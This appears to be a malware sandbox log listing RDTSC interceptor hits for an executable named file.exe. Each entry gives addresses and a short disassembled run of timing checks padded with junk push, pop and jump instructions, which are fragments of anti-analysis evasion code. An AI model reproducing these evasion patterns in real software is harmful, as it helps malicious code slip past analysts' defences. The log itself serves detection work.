Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3627 second address: AF3643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FD84C765E23h 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3643 second address: AF365E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84CFDF736h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF37AD second address: AF37B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF37B1 second address: AF37B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF37B7 second address: AF37CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84C765E1Fh 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF37CC second address: AF37D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF37D0 second address: AF37DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF37DB second address: AF37FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD84CFDF726h 0x0000000a jmp 00007FD84CFDF72Dh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF37FC second address: AF380D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84C765E1Ch 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF380D second address: AF3819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jbe 00007FD84CFDF726h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF397B second address: AF3991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FD84C765E21h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3991 second address: AF3997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3997 second address: AF399D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFBBD3 second address: AFBBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9DB4 second address: AF9DB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9DB8 second address: AF9DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD84CFDF737h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9DD5 second address: AF9DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9DDB second address: AF9DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9DDF second address: AF9DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9F1A second address: AF9F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84CFDF732h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA77A second address: AFA795 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD84C765E1Ch 0x00000008 jnl 00007FD84C765E16h 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA795 second address: AFA7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA7A4 second address: AFA7A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFA7A8 second address: AFA7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFBA91 second address: AFBAA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84C765E22h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFBAA7 second address: AFBAAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE285 second address: AFE28B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE0E9 second address: AFE0ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFE0ED second address: AFE0F6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B003F5 second address: B003FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B003FB second address: B00401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00401 second address: B00405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00405 second address: B0040B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04023 second address: B04032 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04032 second address: B04037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04037 second address: B04041 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD84CFDF72Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B073C1 second address: B073D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jo 00007FD84C765E2Eh 0x0000000d jl 00007FD84C765E1Eh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B124CC second address: B124D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FD84CFDF726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12190 second address: B1219F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD84C765E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1219F second address: B121D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84CFDF732h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c jmp 00007FD84CFDF734h 0x00000011 js 00007FD84CFDF732h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B121D4 second address: B121DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18F86 second address: B18F96 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007FD84CFDF726h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18F96 second address: B18F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18935 second address: B18940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18940 second address: B1896F instructions: 0x00000000 rdtsc 0x00000002 js 00007FD84C765E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007FD84C765E23h 0x00000010 js 00007FD84C765E16h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b js 00007FD84C765E16h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18AEF second address: B18B0C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FD84CFDF733h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B18B0C second address: B18B12 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D9BC second address: B1D9C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D9C0 second address: B1D9C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D9C6 second address: B1D9CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D9CF second address: B1D9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D9D6 second address: B1D9F6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push ecx 0x00000007 jmp 00007FD84CFDF730h 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1D9F6 second address: B1DA1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jns 00007FD84C765E2Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1DA1F second address: B1DA23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1DA23 second address: B1DA27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1DA27 second address: B1DA37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FD84CFDF726h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1DA37 second address: B1DA3D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DE5F second address: B2DE65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DE65 second address: B2DE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD84C765E27h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DE85 second address: B2DE89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DE89 second address: B2DEA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD84C765E20h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C7F0 second address: B2C810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF730h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C97B second address: B2C998 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jng 00007FD84C765E16h 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C998 second address: B2C99E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C99E second address: B2C9B3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007FD84C765E16h 0x0000000d ja 00007FD84C765E16h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C9B3 second address: B2C9B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CAF7 second address: B2CB23 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD84C765E16h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD84C765E1Ch 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007FD84C765E1Fh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CB23 second address: B2CB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CB2B second address: B2CB31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CDB0 second address: B2CDDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF732h 0x00000007 jne 00007FD84CFDF726h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD84CFDF72Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DB99 second address: B2DBA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DBA2 second address: B2DBB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD84CFDF726h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B321B9 second address: B321BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B321BE second address: B321E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD84CFDF72Ah 0x0000000b jmp 00007FD84CFDF72Ah 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnl 00007FD84CFDF726h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B321E3 second address: B321F9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD84C765E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jnl 00007FD84C765E16h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B321F9 second address: B321FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31D40 second address: B31D54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84C765E1Eh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31D54 second address: B31D70 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD84CFDF734h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31D70 second address: B31D7A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD84C765E16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B31D7A second address: B31D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FD84CFDF732h 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3618A second address: B3618F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3618F second address: B361B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84CFDF72Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FD84CFDF72Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B361B3 second address: B361C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jp 00007FD84C765E16h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B361C1 second address: B361CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B361CD second address: B361D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DE95 second address: B4DE9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DE9D second address: B4DEE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD84C765E1Fh 0x0000000a jo 00007FD84C765E34h 0x00000010 jnc 00007FD84C765E16h 0x00000016 jmp 00007FD84C765E28h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 pop eax 0x00000021 pushad 0x00000022 popad 0x00000023 jno 00007FD84C765E16h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DEE4 second address: B4DEEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DEEA second address: B4DF00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD84C765E1Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A6B5 second address: B6A6BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A6BB second address: B6A6C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B697EA second address: B6980A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD84CFDF737h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69A9D second address: B69AC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E29h 0x00000007 jp 00007FD84C765E16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69AC0 second address: B69AE0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007FD84CFDF726h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD84CFDF732h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69AE0 second address: B69AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69F92 second address: B69F96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69F96 second address: B69FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B69FA0 second address: B69FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A0C4 second address: B6A0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD84C765E29h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6E643 second address: B6E659 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF732h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
